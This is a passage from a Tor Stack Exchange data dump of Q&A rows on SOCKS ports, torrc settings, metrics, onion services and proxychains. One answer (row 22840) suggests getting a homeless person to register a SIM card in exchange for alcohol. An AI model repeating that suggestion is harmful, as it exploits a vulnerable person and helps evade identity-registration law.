127.0.0.1:9050 IsolateDestAddr IsolateDestPort&#xA;SocksPort 127.0.0.1:9150 IsolateDestAddr IsolateDestPort &#xA;SocksPort 127.0.0.1:9062 IsolateDestAddr IsolateDestPort&#xA;SocksPort 10.200.1.1:9050 IsolateSOCKSAuth KeepAliveIsolateSOCKSAuth&#xA;TransPort 127.0.0.1:9040&#xA;WarnPlaintextPorts 23,109&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33463" LastEditorUserId="33463" LastEditDate="2021-10-20T10:12:13.763" LastActivityDate="2021-12-21T12:04:00.393" Title="Tor SOCKS5 Not Working With Anything Other Than Tor Browser" Tags="|tails|torsocks|socks|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22820" PostTypeId="2" ParentId="22819" CreationDate="2021-10-19T23:56:05.197" Score="0" Body="&lt;p&gt;I didn't use this recently, but you could try&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;curl https://check.torproject.org&lt;/code&gt;, at some point &lt;code&gt;curl&lt;/code&gt; was automatically torified&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;torify curl https://check.torproject.org&lt;/code&gt; if the first option does not work&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="31318" LastActivityDate="2021-10-19T23:56:05.197" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22821" PostTypeId="1" CreationDate="2021-10-20T14:16:44.273" Score="1" ViewCount="106" Body="&lt;p&gt;I'm using TOR browser and Wireshark to monitor IP traffic. I noticed that every now and then there are packets flowing from/to other IPs. Checking them, I noticed they are TOR relays, which I think it's strange as they are not my guard node (they are not even in my TOR circuit).&#xA;What is it about?&lt;/p&gt;&#xA;" OwnerDisplayName="kuma" LastEditorUserId="14997" LastEditDate="2021-11-04T20:53:23.040" LastActivityDate="2022-04-03T22:04:10.487" Title="While using TOR, why do I also see traffic flowing to hosts other than the guard node?" Tags="|traffic-analysis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22822" PostTypeId="1" CreationDate="2021-10-20T20:25:53.570" Score="0" ViewCount="401" Body="&lt;p&gt;I am involved in some activism work against a powerful group that is known to use threats against its opponents. As a result, many activists have been silenced and quit working against said powerful group.&lt;/p&gt;&#xA;&lt;p&gt;As part of my work, I need to use some online services, which, sadly, requires phone verification. Since my country has mandatory SIM registration laws, even if I access the service through Tor, I will be de-anonymized via my phone number.&lt;/p&gt;&#xA;&lt;p&gt;What can I do to maintain my anonymity?&lt;/p&gt;&#xA;" OwnerUserId="33467" LastEditorUserId="13165" LastEditDate="2021-12-12T20:35:38.267" LastActivityDate="2022-01-11T23:02:35.297" Title="How to get an anonymous phone number to make an account on Tor?" Tags="|anonymity|deanonymization|surveillance|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22824" PostTypeId="1" AcceptedAnswerId="23061" CreationDate="2021-10-22T08:18:28.927" Score="0" ViewCount="100" Body="&lt;p&gt;An application I work on works with &lt;a href=&quot;https://github.com/torproject/torspec/blob/main/socks-extensions.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor SOCKS5&lt;/a&gt; and uses that to send HTTP 1.1 requests and receive HTTP responses.&lt;/p&gt;&#xA;&lt;p&gt;It works great but from time to time it happens that instead of an HTTP response starting with &lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc7230#section-3&quot; rel=&quot;nofollow noreferrer&quot;&gt;HTTP status line&lt;/a&gt; a line containing single &amp;quot;?&amp;quot; (question mark as one character) is received instead.&lt;/p&gt;&#xA;&lt;p&gt;Does anybody know what that actually mean? Does anybody know where in source code this &amp;quot;replying with '?' is&amp;quot;?&lt;/p&gt;&#xA;" OwnerUserId="32242" LastActivityDate="2022-02-23T07:10:24.963" Title="Tor SOCKS5 proxy returns question mark character (`?`) instead of valid HTTP response from time to time" Tags="|torsocks|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22825" PostTypeId="2" ParentId="22821" CreationDate="2021-10-22T09:37:07.603" Score="0" Body="&lt;p&gt;It's OK - this traffic is used for network integrity and to make a new circuits, so there's no problem at all! Also - you should open not just an &lt;code&gt;ORPort&lt;/code&gt; for &lt;strong&gt;a way better&lt;/strong&gt; integration+speeds, but a &lt;code&gt;DirPort&lt;/code&gt; to propagate the mirror of Tor network directory services - it will help you collaterally because of increasing speeds and connectivity of the other nodes you will occasionally use&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-22T09:37:07.603" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22826" PostTypeId="2" ParentId="22824" CreationDate="2021-10-22T09:40:18.833" Score="0" Body="&lt;p&gt;SOCKS is a different proxy protocol than HTTP. You can either use Tor's builtin HTTP proxy as a HTTP proxy or - using SOCKS5h - you need to make a pipe connection &lt;em&gt;first&lt;/em&gt; and only after that step being successfully done you can go ahead with HTTP or HTTPS stuff through the pipe you created&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-22T09:40:18.833" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22827" PostTypeId="2" ParentId="22819" CreationDate="2021-10-22T09:43:29.193" Score="0" Body="&lt;p&gt;This is a Tails bad architecture playing tricks on you: Tor is fine working with any SOCKS5 or HTTP client via the corresponding port. As far as I remember - it was a firewall rules for that in Tails, check your firewall tables. And if you need a proper OS-wide security &lt;em&gt;without&lt;/em&gt; problems &lt;em&gt;and&lt;/em&gt; with a greater security and convenience - check out a QubesOS&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-22T09:43:29.193" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22828" PostTypeId="1" AcceptedAnswerId="22830" CreationDate="2021-10-22T12:38:54.013" Score="2" ViewCount="181" Body="&lt;p&gt;I have noticed that metrics options were added in &lt;a href=&quot;https://github.com/torproject/tor/pull/2096&quot; rel=&quot;nofollow noreferrer&quot;&gt;PR 2096&lt;/a&gt;. However, when I open &lt;code&gt;http://127.0.0.1:37991/metrics&lt;/code&gt; I get only a blank page.&lt;/p&gt;&#xA;&lt;p&gt;I use &lt;code&gt;tor.exe&lt;/code&gt; file to send HTTP requests through Tor's SOCKS5 endpoint. This means that I don't use Tor Browser. Instead I run &lt;code&gt;tor.exe&lt;/code&gt; like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;./tor.exe --SOCKSPort 127.0.0.1:12345 --CookieAuthentication 1 --ControlPort XYZ --CookieAuthFile &amp;quot;C:\path\to\data\control_auth_cookie&amp;quot; --DataDirectory &amp;quot;C:\path\to\data\data_directory&amp;quot; --MetricsPort 127.0.0.1:37991 --MetricsPortPolicy &amp;quot;accept 127.0.0.1&amp;quot; --Log &amp;quot;notice file C:\path\to\data\my.log&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Am I supposed to see any metrics or not in my use case? I mean what metrics are actually being recorded?&lt;/p&gt;&#xA;" OwnerUserId="32242" LastActivityDate="2021-10-25T17:49:51.813" Title="Tor metrics returns blank page for me" Tags="|torsocks|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22829" PostTypeId="1" AcceptedAnswerId="22831" CreationDate="2021-10-22T14:10:27.713" Score="0" ViewCount="355" Body="&lt;p&gt;my guard node is changing between two countries in different sites is it normal ?&lt;/p&gt;&#xA;&lt;p&gt;also, when i open tor my guard node is always the same, but some time passed it changes to another country but if i restart tor all goes back to normal.&#xA;here's the video showing the guard node changing:&#xA;&lt;a href=&quot;https://streamable.com/e28q8s&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://streamable.com/e28q8s&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="33378" LastEditorUserId="33378" LastEditDate="2021-10-22T19:04:03.843" LastActivityDate="2021-10-22T19:04:03.843" Title="guard node unexpected change, is it expected behavior?" Tags="|tor-browser-bundle|guard-node|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22830" PostTypeId="2" ParentId="22828" CreationDate="2021-10-22T18:54:20.810" Score="1" Body="&lt;p&gt;Tor metrics are not the web interface but an API. If you need some out-of-the-box metrics - use &lt;code&gt;nyx&lt;/code&gt; tool, it gives you quite a nice metrics in a text TTY console, so it's suitable for SSH too&lt;/p&gt;&#xA;&lt;p&gt;Well, first of all - about &lt;code&gt;nyx&lt;/code&gt; - it's a very handy tool from the Tor Project -&amp;gt; &lt;a href=&quot;https://nyx.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://nyx.torproject.org/&lt;/a&gt;  it's open source, so you can see how to read metrics in it's code. It's simple but a shiny one, give it a try!&lt;/p&gt;&#xA;&lt;p&gt;And about metrics, just as it's said in the official &lt;a href=&quot;https://github.com/dgoulet-tor/tor/commit/04ff22dc69496f8b05e9ef9ea3a0216ca5fec5be&quot; rel=&quot;nofollow noreferrer&quot;&gt;man page&lt;/a&gt; :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[[MetricsPort]] **MetricsPort** ['address'**:**]{empty}__port__ [__format__]::&#xA;    WARNING: Before enabling this, it is important to understand that exposing&#xA;    tor metrics publicly is dangerous to the Tor network users. Please take&#xA;    extra precaution and care when opening this port. Set a very strict access&#xA;    policy with MetricsPortPolicy and consider using your operating systems&#xA;    firewall features for defense in depth.&#xA;     +&#xA;    We recommend, for the prometheus __format__, that the only address that&#xA;    can access this port should be the Prometheus server itself. Remember that&#xA;    the connection is unencrypted (HTTP) hence consider using a tool like&#xA;    stunnel to secure the link from this port to the server.&#xA;     +&#xA;    If set, open this port to listen for an HTTP GET request to &amp;quot;/metrics&amp;quot;.&#xA;    Upon a request, the collected metrics in the the tor instance are&#xA;    formatted for the given format and then sent back. If this is set,&#xA;    MetricsPortPolicy must be defined else every request will be rejected.&#xA;     +&#xA;    Supported format is &amp;quot;prometheus&amp;quot; which is also the default if not set. The&#xA;    Prometheus data model can be found here:&#xA;    https://prometheus.io/docs/concepts/data_model/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The Prometheus is one of the industry-standard open source metrics collecting package like Zabbix et cetera, so you can use the Prometheus API client(because the Tor process is a server here - it serves you the data) to query the metrics out of your application, or - for instance of the complex metrics - raise a local Prometheus and connect it to the Tor data source, after that you can utilize the Prometheus data extraction API, it has quite a decent docs and real working examples: &lt;a href=&quot;https://prometheus.io/docs/prometheus/latest/querying/api/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://prometheus.io/docs/prometheus/latest/querying/api/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="9291" LastEditDate="2021-10-25T17:49:51.813" LastActivityDate="2021-10-25T17:49:51.813" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22831" PostTypeId="2" ParentId="22829" CreationDate="2021-10-22T18:57:04.503" Score="0" Body="&lt;p&gt;It's OK: it can be a normal GeoIP jitter, tor network backup circuits or integration leve upgrade for your tor instance. For the best experience make sure you have your &lt;code&gt;ORPort&lt;/code&gt; reachable from outside and a setting for &lt;code&gt;ClientOnly&lt;/code&gt; mode is 0 as it is by default. It will &lt;strong&gt;not&lt;/strong&gt; make you an exit node, but an intermediate one &lt;strong&gt;and&lt;/strong&gt; will improve your tor network membership greatly&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-22T18:57:04.503" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22832" PostTypeId="2" ParentId="17357" CreationDate="2021-10-23T18:37:19.930" Score="0" Body="&lt;p&gt;Same thing happened to me. What I did was temporarily disconnect from tor bridge, login to lastpass account and then again connect to tor bridge.&lt;/p&gt;&#xA;" OwnerUserId="33478" LastActivityDate="2021-10-23T18:37:19.930" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22834" PostTypeId="2" ParentId="20374" CreationDate="2021-10-25T17:54:11.943" Score="0" Body="&lt;p&gt;Basically, you'll &lt;strong&gt;never&lt;/strong&gt; need it: because new versions are containing not just some improvements, but also a security fixes, so &amp;quot;the last is a must&amp;quot;. However, if you need to test some on the real old code - the best, but not the easiest way - is to set up your CI/CD like Jenkins and to pinpoint a spot where you want to freeze the code precisely. After that - just build it and here you go. This approach also fixes the issue if there's no pre-built binary for your system/setup or if it has some issues. Old releases of the launcher &lt;em&gt;will&lt;/em&gt; and &lt;em&gt;has to&lt;/em&gt; pull the tool for the latest version - that's what it's built for, so that's why there's no command line switch for that kind of behavior&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-25T17:54:11.943" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22836" PostTypeId="1" CreationDate="2021-10-26T07:12:21.033" Score="0" ViewCount="123" Body="&lt;p&gt;I am using Apache Airflow to schedule my script. If I try to run the script from the terminal. stem is able to pickup the cookie file easily but If I try to run it via Airflow, it throws this error. &lt;code&gt;stem.connection.UnreadableCookieFile&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I tried making &lt;code&gt;control_auth_cookie&lt;/code&gt; readable in &lt;code&gt;/root/.tor/&lt;/code&gt; by using &lt;code&gt;chmod ugo+r&lt;/code&gt; and while the permissions are set, airflow still can't read the cookie file.&lt;/p&gt;&#xA;&lt;p&gt;How should I fix this?&lt;/p&gt;&#xA;&lt;p&gt;I have the following options uncommented in torrc:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;RunAsDaemon 1&#xA;ControlPort 9051&#xA;CookieAuthentication 1&#xA;CookieAuthFileGroupReadable 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note: &lt;code&gt;CookieAuthFileGroupReadable 1&lt;/code&gt; was not present initially. I added it manually following other threads.&lt;/p&gt;&#xA;" OwnerUserId="33370" LastActivityDate="2022-03-27T12:08:20.763" Title="Tor &quot;stem.connection.UnreadableCookieFile&quot; error on scheduling python script on Airflow" Tags="|python|stem|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22837" PostTypeId="1" CreationDate="2021-10-26T23:20:36.937" Score="0" ViewCount="102" Body="&lt;p&gt;Can anyone eli5 the difference of &lt;a href=&quot;https://clearnetonion.eu.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;double onion&lt;/a&gt; and onion? How many hops will doubleonion use?&lt;/p&gt;&#xA;" OwnerUserId="33498" LastActivityDate="2022-03-27T14:02:55.270" Title="What is the difference of double onion and just onion?" Tags="|onion-services|onion-routing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22838" PostTypeId="1" AcceptedAnswerId="22843" CreationDate="2021-10-27T20:53:02.187" Score="0" ViewCount="326" Body="&lt;p&gt;I have an HTTPS server made in JavaScript running on port 443 directly (not the best idea, but whatever).&lt;/p&gt;&#xA;&lt;p&gt;I would like to add an onion domain to this, how should I go about getting the data from the HTTPS server already running through the onion service?  The server returns modified versions of HTML pages, so accessing files directly isn't an option.&lt;/p&gt;&#xA;&lt;p&gt;Running Ubuntu 20.04.&lt;/p&gt;&#xA;&lt;p&gt;Thanks in advance :)&lt;/p&gt;&#xA;" OwnerUserId="33505" LastActivityDate="2022-01-16T20:47:05.183" Title="How do I create a TOR site for an already running HTTP server?" Tags="|onion-services|https|server|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22839" PostTypeId="2" ParentId="22836" CreationDate="2021-10-28T01:33:45.987" Score="0" Body="&lt;p&gt;(Not a sure answer, but I can't post comments.)&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;UnreadableCookieFile&lt;/code&gt; can be raised for two simple reasons:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;os.path.exists(cookie_path)&lt;/code&gt; returns False&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;open(cookie_path)&lt;/code&gt; raises IOError&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I'm guessing you're still having permission issues.&lt;/p&gt;&#xA;&lt;p&gt;You need to set &lt;code&gt;DataDirectoryGroupReadable&lt;/code&gt;, possibly also &lt;code&gt;CacheDirectoryGroupReadable&lt;/code&gt;, to make your /root/.tor directory readable. I'm assuming that's tor's data directory on your system because one of the defaults is ~/.tor.&lt;/p&gt;&#xA;&lt;p&gt;Then run the script from terminal with whatever user and group ID Airflow is trying to run it.&lt;/p&gt;&#xA;&lt;p&gt;Ideally you'd be running tor as a separate user and group (e.g. like debian-tor on debian-based systems), then you could add only selected users to the same group. This doesn't give full access, it just allows members of the group to interact with tor via controller.&lt;/p&gt;&#xA;" OwnerUserId="33493" LastActivityDate="2021-10-28T01:33:45.987" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22840" PostTypeId="2" ParentId="22822" CreationDate="2021-10-28T08:35:49.743" Score="0" Body="&lt;p&gt;This question pops out from time to time and not just regarding Tor. The GSM phone is a beacon and tracking device 2-in-1, so if you need it to be anonymous - just register a SIM for someone else, like offer a hobo some booze to register a SIM for you, it works ;) After that don't forget to maintain the geolocation security procedures, that's it.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-28T08:35:49.743" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22841" PostTypeId="2" ParentId="22836" CreationDate="2021-10-28T10:50:27.140" Score="0" Body="&lt;p&gt;using a cookie file on a host grants no additional security, only the unix socket for a control protocol increases the security on the same host. So the problem you're encountering is just one of the many. Here is what you should do to make it run secure and OK:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Set up the hashed password in your &lt;code&gt;torrc&lt;/code&gt; config file and make sure that only tor &lt;em&gt;dedicated&lt;/em&gt; user AND group can read it. No one else &lt;strong&gt;must not&lt;/strong&gt; be able to even list a tor's directory and/or read the config file&lt;/li&gt;&#xA;&lt;li&gt;Use unix filesystem socket for the &lt;code&gt;ControlPort&lt;/code&gt; directive just like &lt;a href=&quot;https://2019.www.torproject.org/docs/tor-manual.html.en#ControlPort&quot; rel=&quot;nofollow noreferrer&quot;&gt;the manual&lt;/a&gt; instructs you &lt;em&gt;with&lt;/em&gt; &lt;code&gt;WorldWritable&lt;/code&gt; flag.&lt;/li&gt;&#xA;&lt;li&gt;Set up your app/script to be running from it's own &lt;em&gt;dedicated&lt;/em&gt; user and group, so no other user and group can read the script's/app config with the control password specified.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;After that no &lt;code&gt;tcpdump&lt;/code&gt; is working on your unix socket &lt;em&gt;and&lt;/em&gt; no access to the config's that are containing the password or it's hash. All the data can be retrieved through the control protocol securely and without a parasite overload to the network stack and a firewall.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-28T10:50:27.140" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22842" PostTypeId="2" ParentId="22837" CreationDate="2021-10-28T10:57:09.643" Score="0" Body="&lt;p&gt;This service looks like a proxy service, so no additional onion layers are applied. And - actually - it also looks like it's made for donation collecting only: free version is http/plaintext only, no SSL is employed. HTTPS is not just an encryption, but also a HTTP/2 enabler and filtering preventer. If the output node &lt;em&gt;is already&lt;/em&gt; running a resource-consuming Tor instance, then let's encrypt certificate is nearly-nothing to run, and - speaking correctly - their nodes are nothing more than NGinx + tor on one node. I do not recommend you to use this - if you need it for free and secure - make an IPFS mirror of your website and put it into the clearnet via IPFS &lt;a href=&quot;https://www.geekdecoder.com/setting-up-ipfs-server-with-nginx-and-gateway/&quot; rel=&quot;nofollow noreferrer&quot;&gt;just like this&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-28T10:57:09.643" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22843" PostTypeId="2" ParentId="22838" CreationDate="2021-10-28T11:04:07.380" Score="0" Body="&lt;p&gt;Just like this:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Your NodeJS/Javascript site is working on the 127.0.0.&lt;strong&gt;2&lt;/strong&gt;:80 without any SSL/HTTPS&lt;/li&gt;&#xA;&lt;li&gt;Your NGinx is running as a reverse proxy &lt;em&gt;with&lt;/em&gt; HTTPS + HTTP/2.0 on 127.0.0.&lt;strong&gt;1&lt;/strong&gt;:443 and tunneling the requests to 127.0.0.&lt;strong&gt;2&lt;/strong&gt;:80 and also NGinx on 127.0.0.&lt;strong&gt;1&lt;/strong&gt;:80 to redirect everything to the same hostname but to HTTPS. The server name in both &lt;code&gt;server {}&lt;/code&gt; blocks is your onion address&lt;/li&gt;&#xA;&lt;li&gt;Your local tor instance has a hidden service with ports 80 and 443 tunneled to the 127.0.0.&lt;strong&gt;1&lt;/strong&gt; port's 80 and 443 &lt;strong&gt;respectively&lt;/strong&gt; - using ports like 8080 and 8443 as some tutorials are suggesting can cause a mess in HTML pipelining&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;That's it, no rocket science! Make &lt;strong&gt;extra sure&lt;/strong&gt; to bind NGinx to the &lt;em&gt;specific&lt;/em&gt; ip+port combo via &lt;code&gt;listen 127.0.0.1:443&lt;/code&gt; directives and there's &lt;strong&gt;no&lt;/strong&gt; default server bindings.&lt;/p&gt;&#xA;&lt;p&gt;You may also want to send the header &lt;code&gt;Onion-Location: yoursite.onion&lt;/code&gt; to alert the tor browser that an onion URL is available.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="-1" LastEditDate="2022-01-16T20:47:05.183" LastActivityDate="2022-01-16T20:47:05.183" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22844" PostTypeId="2" ParentId="21608" CreationDate="2021-10-28T11:07:22.370" Score="0" Body="&lt;p&gt;No &lt;code&gt;socat&lt;/code&gt; is needed - Tor is like STunnel, so you create a hidden service on server2 &lt;em&gt;and&lt;/em&gt; rise an OpenVPN server on it - the rest is as simple as it sounds: you will have an internal network like 10.0.0.0/24 for the tunnel and using a static client addresses you will just replace the IP in your iptables rules: &lt;strong&gt;all&lt;/strong&gt; the rest of the stuff will be handled by OpenVPN - channel reconnection, interfaces, routing tables e.t.c....&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-28T11:07:22.370" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22845" PostTypeId="2" ParentId="19185" CreationDate="2021-10-28T11:09:41.990" Score="0" Body="&lt;p&gt;The situation can be as a result of the ISP attacks - yes, I see it periodically here in Russia for years, here is how it comes: NTP broadcast and/or local NTP server announce to the server with date back-stepping attack. It kills all SSL, basically, because the timestamps are becoming wrong and de-synchronized. To avoid it - just set up a local NTP server and use it for your time sync.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-28T11:09:41.990" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22846" PostTypeId="1" CreationDate="2021-10-30T12:43:03.553" Score="1" ViewCount="12746" Body="&lt;p&gt;Is there a list of US (United States) only bridges for tor? I need to relay thru US bridges only.&lt;/p&gt;&#xA;" OwnerUserId="33521" LastActivityDate="2022-03-30T10:07:30.677" Title="Tor list of US bridges" Tags="|bridge|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22847" PostTypeId="2" ParentId="22846" CreationDate="2021-10-31T00:07:50.960" Score="0" Body="&lt;p&gt;As far as I know there is no such list and it is not possible to get such a list. The idea of bridges is that they are hidden. So you won't find a public list of all bridges or only a greater subset of all bridges.&lt;/p&gt;&#xA;&lt;p&gt;In general you can use any bridge from any country. Just go to &lt;a href=&quot;https://bridges.torproject.org/bridges?transport=obfs4&quot; rel=&quot;nofollow noreferrer&quot;&gt;bridges.torproject.org&lt;/a&gt;, solve the CAPTCHA and receive your bridges. Or go to &lt;a href=&quot;http://about:preferences#tor&quot; rel=&quot;nofollow noreferrer&quot;&gt;about:preferences#tor&lt;/a&gt; in Tor Browser and select a bridge.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2021-10-31T00:07:50.960" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22852" PostTypeId="2" ParentId="21676" CreationDate="2021-11-04T10:23:16.947" Score="0" Body="&lt;p&gt;You can do that easily, follow me&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;first check if the tor service is installed, type &lt;code&gt;service tor status &lt;/code&gt; in terminal if it is installed something would show up, if not then install it by&lt;code&gt;sudo apt-get install tor &lt;/code&gt; in terminal.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;After installation, we have to configure proxychains, type command &lt;code&gt;nano /etc/proxychains.conf&lt;/code&gt; it will open the configuration file.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Remove the # from &amp;quot;Dynamic chain&amp;quot; .&#xA;Add # before &amp;quot;strict chain&amp;quot; and &amp;quot;random chain&amp;quot;.&#xA;Remove # from &amp;quot;proxy dns&amp;quot;.&#xA;write socks5 127.0.0.1 9050 in last line of proxy list.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Now save the configuration file by pressing ctrl+o and enter.&#xA;To start using proxychains you need to restart the tor service type &lt;code&gt;service tor restart&lt;/code&gt; in terminal.&lt;/p&gt;&#xA;&lt;p&gt;*Now you can use the proxychain service by typing proxychains before the application you want to run.&#xA;Ex&amp;gt; proxychains firefox &lt;a href=&quot;http://www.google.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;www.google.com&lt;/a&gt; or just firefox.&lt;a href=&quot;https://i.stack.imgur.com/PqS4o.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PqS4o.png&quot; alt=&quot;here is the screenshot of adding soc5 in the proxy chains&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2qMm0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2qMm0.png&quot; alt=&quot;removing # from Dynamic&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="33554" LastActivityDate="2021-11-04T10:23:16.947" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22853" PostTypeId="1" CreationDate="2021-11-05T00:58:14.450" Score="0" ViewCount="157" Body="&lt;p&gt;This is not a duplicate question about websites blocking TOR by IP.  I'm hitting some issue where clicking on the login button or dropdown with Disqus and other commenting sites opens a new browser tab instead of opening a popup window on the same page.  Then, though I'm able to login successfully in that new tab, it simply disappears after I login, and back on the original page it still thinks I'm not logged in - reloading the page doesn't fix it.&lt;/p&gt;&#xA;&lt;p&gt;I first thought it was a cookie problem, but even enabling 3rd party cookies by setting network.cookie.cookieBehavior to 0 doesn't fix it.  It seems like the issue is whatever's forcing a new tab to open instead of allowing the inline login popup - though that's not the whole picture, because with normal Firefox, if I login via one page, I'm considered logged in on all other pages as well, even in private browsing mode.&lt;/p&gt;&#xA;&lt;p&gt;And to answer the expected question about logging in &amp;quot;defeating the purpose&amp;quot; of using TOR, no not if everything - an anonymous email, the messaging account, etc. was creating in the same TOR session with the intent of being thrown away after that use.&lt;/p&gt;&#xA;" OwnerUserId="33558" LastActivityDate="2022-04-04T14:04:05.370" Title="Disqus/ other commenting systems login not working in TOR" Tags="|cookies|login|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22854" PostTypeId="2" ParentId="22853" CreationDate="2021-11-05T13:53:11.457" Score="0" Body="&lt;p&gt;The regulations are enforcing these comment systems to de-anonymize you in order to provide not just censorship, but also a law enforcement actions, so that's why they are made like that. You can use regular &lt;strong&gt;blank&lt;/strong&gt; firefox on the virtual machine using socks5h proxy &lt;strong&gt;with&lt;/strong&gt; login and password - it will elaborate Tor's mechanism to keep it all in one single pipe. That should help you in most of the cases&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-11-05T13:53:11.457" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22857" PostTypeId="1" AcceptedAnswerId="22879" CreationDate="2021-11-09T14:24:23.177" Score="0" ViewCount="66" Body="&lt;p&gt;I have just updated to 11.0 and the UI appears like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o8PDd.png&quot; alt=&quot;fugly&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can't see it but in the pixelated part, the middle part of the right side has the toolbar buttons that are obscured by the horrendous suggestions. They don't disappear after the address is entered, so what you see there is the actual active area of the window. And this is with &lt;code&gt;layout.css.devPixelsPerPx=1&lt;/code&gt;, but I prefer using &lt;code&gt;1.25&lt;/code&gt; (or so).&lt;/p&gt;&#xA;&lt;p&gt;After several tries I managed to track down the culprit as being the unchecking of the &amp;quot;&lt;em&gt;Always use private browsing mode&lt;/em&gt;&amp;quot; setting. It doesn't happen with the setting checked, and the UI reverts to the usual one if the setting is checked back. Even though it shouldn't matter, I use it so because I'd like to remember the visited sites but without any of the cookies &amp;amp; co. Is there a quick fix or is it a bug?&lt;/p&gt;&#xA;" OwnerUserId="8164" LastActivityDate="2021-11-15T15:59:04.940" Title="Distorted UI after update to 11.0" Tags="|update|settings|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
